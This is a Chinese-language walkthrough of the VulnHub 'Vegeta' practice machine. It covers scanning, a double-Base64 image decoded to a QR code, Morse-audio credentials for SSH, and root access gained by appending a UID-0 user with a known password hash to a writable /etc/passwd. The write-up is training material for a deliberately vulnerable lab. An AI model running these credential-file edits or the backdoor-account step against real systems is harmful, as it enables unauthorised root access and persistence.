vulnhub打靶日记day01之vegeta
字数 1075 2025-08-24 10:10:13
Vulnhub靶机渗透实战:Vegeta靶机完整攻略
靶机概述
Vegeta是Vulnhub上的一个初级难度靶机,主要考察以下技能:
- 网络配置调整
- 信息收集与目录扫描
- Base64编码与图片隐写
- 莫斯密码解码
- Linux系统提权技术
一、靶机环境配置
网络设置问题解决
当靶机启动后无法获取IP时,按以下步骤解决:
- 启动时在GRUB界面按下
e键进入编辑模式 - 将
ro改为rw signie init=/bin/bash - 按
Ctrl+X进入bash界面 - 检查系统信息:
cat /etc/*-release uname -a - 查看网卡配置:
ip a - 编辑网卡配置文件
/etc/network/interfaces:auto ens33 iface ens33 inet dhcp # 注释掉IPv6相关配置 - 重启网络服务:
/etc/init.d/networking restart
二、信息收集阶段
1. 网络扫描
nmap -sn 10.10.10.0/24 # 发现目标IP
nmap -Pn -A -p- 10.10.10.130 # 全面扫描
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
2. Web目录扫描
使用WebPathScan工具扫描:
pathmap.exe scan url http://10.10.10.130
发现关键目录:
/robots.txt→ 指向/find_me目录/bulma(需使用Kali自带字典才能发现)
3. 隐写分析
在/find_me页面源码中发现Base64编码字符串,需两次解码:
import base64
from io import BytesIO
from PIL import Image
base64_data = "aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElDQVlBQUFDdFdLNmVBQUFIaGtsRVFWUjRuTzJad1k0c09RZ0U1LzkvK3UyMU5TdTdCd3JTaVN0QzhoR2M0SXBMOTg4L0FGanljem9BZ0RNSUFyQUJRUUEySUFqQUJnUUIySUFnQUJzUUJHQURnZ0JzUUJDQURRZ0NzQUZCQURhRUJmbjUrUmwvbk9aTFAxeER6K3g5VTA1cWJoWjFkcjRzSFQyejkwMDVxYmxaMU5uNXNuVDB6TjQzNWFUbVpsRm41OHZTMFRONzM1U1RtcHRGblowdlMwZlA3SDFUVG1wdUZuVjJ2aXdkUGJQM1RUbXB1Vm5VMmZteWRQVE0zamZscE9hdVhKUVRUamxkSHZ0YmxvNDZOUWp5UjV4eUlvZ09CUGtqVGprUlJBZUMvQkdubkFpaUEwSCtpRk5PQk5HQklIL0VLU2VDNkVDUVArS1VFMEYwakJWRS9aSGM4SEhkUHZ1RWQwZVF3N003MWFtelRIaDNCRGs4dTFPZE9zdUVkMGVRdzdNNzFhbXpUSGgzQkRrOHUxT2RPc3VFZDBlUXc3TTcxYW16VEhoM0JEazh1MU9kT3N1RWQwZVFJcWJNNENUcmhKMGhTQkZUWmtDUUdBaFN4SlFaRUNRR2doUXhaUVlFaVlFZ1JVeVpBVUZpSUVnUlUyWkFrQmdJVXNTVUdSQWtCb0lVMFRHZjAxN2UrdTRJVXNScEtSRGtXYzVsdjNEQlN4ZjFqZE5TSU1pem5NdCs0WUtYTHVvYnA2VkFrR2M1bC8zQ0JTOWQxRGRPUzRFZ3ozSXUrNFVMWHJxb2I1eVdBa0dlNVZ6MkN4ZThkRkhmT0MwRmdqekx1ZXdYTGhCL2VGazZjcm84Mm9rc2IzMTNCQkgwdkNITFc5OGRRUVE5YjhqeTFuZEhFRUhQRzdLODlkMFJSTkR6aGl4dmZYY0VFZlM4SWN0YjN4MUJCRDF2eVBMV2R5OFZaTXJwV1BDYjY2YWNEQWdTbUkrNjJTY0RnZ1RtbzI3MnlZQWdnZm1vbTMweUlFaGdQdXBtbnd3SUVwaVB1dGtuQTRJRTVxTnU5c25nOVNPMkFjcmxQN212SXd2OEg3YjVDd1NCVDlqbUx4QUVQbUdidjBBUStJUnQvZ0pCNEJPMitRc0VnVS9ZNWk4UUJENlIvUS9pMURPTFU4OHBkV3FxY3lKSTBlenFubFBxMUNBSWdveXFVNE1nQ0RLcVRnMkNJTWlvT2pVSWdpQ2o2dFFnQ0lLTXFsTnpYQkExYnhZeWk5TU1UbStVeWwvZXNSZ0VpZU0wZzlNYnBmS1hkeXdHUWVJNHplRDBScW44NVIyTFFaQTRUak00dlZFcWYzbkhZaEFranRNTVRtK1V5bC9lc1JnRWllTTBnOU1icGZLWGR5d0dRZUk0emVEMFJxbjhwYzJTUTcxWkFxZlpwd2pTVWJmc2w2cEtoRU1RajV3SUVzeWZxa3FFUXhDUG5BZ1N6SitxU29SREVJK2NDQkxNbjZwS2hFTVFqNXdJRXN5ZnFrcUVReENQbkFnU3pKK3FTb1JERUkrY0NCTE1uNm9xRHVleWpLNmVhcHdFNmNpWjdabkttS29xRHVleWpLNmVhaEFFUVI3VnFYdXFRUkFFZVZTbjdxa0dRUkRrVVoyNnB4b0VRWkJIZGVxZWFoQUVRUjdWcVh1cVFaQ0JncWcvNWpmZjEvRngzUzdXOHE2cHdia1BRUkNFK3hDa01HZnFycW5CdVE5QkVJVDdFS1F3WitxdXFjRzVEMEVRaFBzUXBEQm42cTdLY0ZtY0hzYnBvM1RLMlpGbEFnaHlPQXVDZUlNZ2g3TWdpRGNJY2pnTGduaURJSWV6SUlnM0NISTRDNEo0Z3lDSHN5Q0lONldDM1A0d1RvL3RKTEo2TDhvc0NGSjBueG9FUVpDMkxCMzNxVUVRQkduTDBuR2ZHZ1JCa0xZc0hmZXBRUkFFYWN2U2NaOGFCRUdRdGl3ZDk2bEJrSUdDZE5TcGUyYnZVMzk0Nm5mb3lPazAzN0pmdU1Ba2VGZlA3SDFPSDE3MlBuVk9wL21XL2NJRkpzRzdlbWJ2Yy9yd3N2ZXBjenJOdCt3WExqQUozdFV6ZTUvVGg1ZTlUNTNUYWI1bHYzQ0JTZkN1bnRuN25ENjg3SDNxbkU3ekxmdUZDMHlDZC9YTTN1ZjA0V1h2VStkMG1tL1pMMXhnRXJ5clovWStwdzh2ZTU4NnA5Tjh5MzdoQXZHSGZzUHlPN0pNMmFkNlp3aGkrbWdkODkyd1R3UzU3RUU3WmtjUUJMbm1RVHRtUnhBRXVlWkJPMlpIRUFTNTVrRTdaa2NRQkxubVFUdG1SNUFYQ1hJNzZnKzJBN1dRSFZrNnhFcmxUMVZkRElKNFpFRVFVeERFSXd1Q21JSWdIbGtReEJRRThjaUNJS1lnaUVjV0JERUZRVHl5akJXa1kyRDFjV0xLQitUeXdYNERRUkFFUVlUM0ljaGhFS1FXQkVFUUJCSGVoeUNIUVpCYUVBUkJFRVI0SDRJY0JrRnFzUmJFaVk2Y04zek1UaCtzK28xUy9VNEg2QUpCRUFSQk5pQUlnaURJQmdSQkVBVFpnQ0FJZ2lBYkVBUkJFR1FEZ2lESUtFRnUrTGc2NW5QSzRuVFV1MTdlRlM0d2VqUjF6bzc1bkxJNEhmV3VsM2VGQzR3ZVRaMnpZejZuTEU1SHZldmxYZUVDbzBkVDUreVl6eW1MMDFIdmVubFh1TURvMGRRNU8rWnp5dUowMUx0ZTNoVXVNSG8wZGM2TytaeXlPQjMxcnBkM2hRdU1IazJkczJNK3B5eE9SNzNyNVYzaEFxTkhVK2QwMnN1VUxOTnpJb2h4M1ExWnB1ZEVFT082RzdKTXo0a2d4blUzWkptZUUwR002MjdJTWowbmdoalgzWkJsZWs0RU1hNjdJY3YwbkFoU3hKUVoxRDJuZkMvTEhKWExjQm9ZUVR4NlR2bGVsamtxbCtFME1JSjQ5Snp5dlN4elZDN0RhV0FFOGVnNTVYdFo1cWhjaHRQQUNPTFJjOHIzc3N4UnVReW5nUkhFbytlVTcyV1pvM0laVGdNamlFZlBLZC9MTWtmbE1weVk4bEVxSC9zSlRoODZnaFNBSUxVZ1NQT2kxQ0JJTFFqU3ZDZzFDRklMZ2pRdlNnMkMxSUlnell0U2d5QzFJRWp6b3RRZ1NDMElVckNvS1NjN245TmVzcHplZmNVTTJmbFMvU29EVERrZEMzYWF3U2tuZ2d3OEhRdDJtc0VwSjRJTVBCMExkcHJCS1NlQ0REd2RDM2Fhd1NrbmdndzhIUXQybXNFcEo0SU1QQjBMZHByQktlZnJCQUY0RXdnQ3NBRkJBRFlnQ01BR0JBSFlnQ0FBR3hBRVlBT0NBR3hBRUlBTkNBS3dBVUVBTmlBSXdBWUVBZGp3SHlVRnd2VnIwS3ZGQUFBQUFFbEZUa1N1UW1DQw=="
# 第一次解码
image_data1 = base64.b64decode(base64_data)
# 第二次解码
image_data2 = base64.b64decode(image_data1)
# 创建图片
image_stream = BytesIO(image_data2)
image = Image.open(image_stream)
image.show()
解码后会显示一个二维码,扫描后获得密码(但无法直接用于root登录)。
4. 莫斯密码解码
在/bulma目录下发现音频文件,使用在线解码工具:
https://morsecode.world/international/decoder/audio-decoder-expert.html
解码结果:
- 用户名:
trunks - 密码:
u$3r
成功通过SSH登录:
ssh trunks@10.10.10.130
三、权限提升
1. 信息收集
检查当前权限:
id
检查关键文件权限:
ls -l /etc/passwd
ls -l /etc/shadow
发现/etc/passwd文件有写权限。
2. Passwd文件提权
- 生成加密密码:
openssl passwd -1
# 输入密码123,得到加密字符串:$1$imGj2JWO$YVM/Yh0cfGHtlm7Uz5vKw/
- 添加root权限用户:
echo 'test:$1$imGj2JWO$YVM/Yh0cfGHtlm7Uz5vKw/:0:0:root:/root:/bin/bash' >> /etc/passwd
- 切换用户:
su test
# 密码:123
3. 获取Flag
cd /root
ls
cat flag.txt
四、技术要点总结
-
目录扫描技巧:
- 使用Kali自带字典扫描隐藏目录
- 重点关注
robots.txt文件
-
隐写分析:
- 网页源码中隐藏的Base64编码
- 多层Base64解码技巧
- 图片隐写与二维码生成
-
密码学应用:
- 莫斯密码音频解码
- 在线解码工具的使用
-
Linux提权:
/etc/passwd文件权限检查- 通过添加用户实现提权
openssl passwd生成加密密码
-
问题解决:
- 靶机网络配置问题的调试
- 权限不足时的提权思路
五、扩展思考
- 如果
/etc/passwd没有写权限,还可以尝试哪些提权方法? - 如何防御此类通过修改passwd文件的提权攻击?
- 在实际渗透测试中,如何更有效地发现隐藏目录?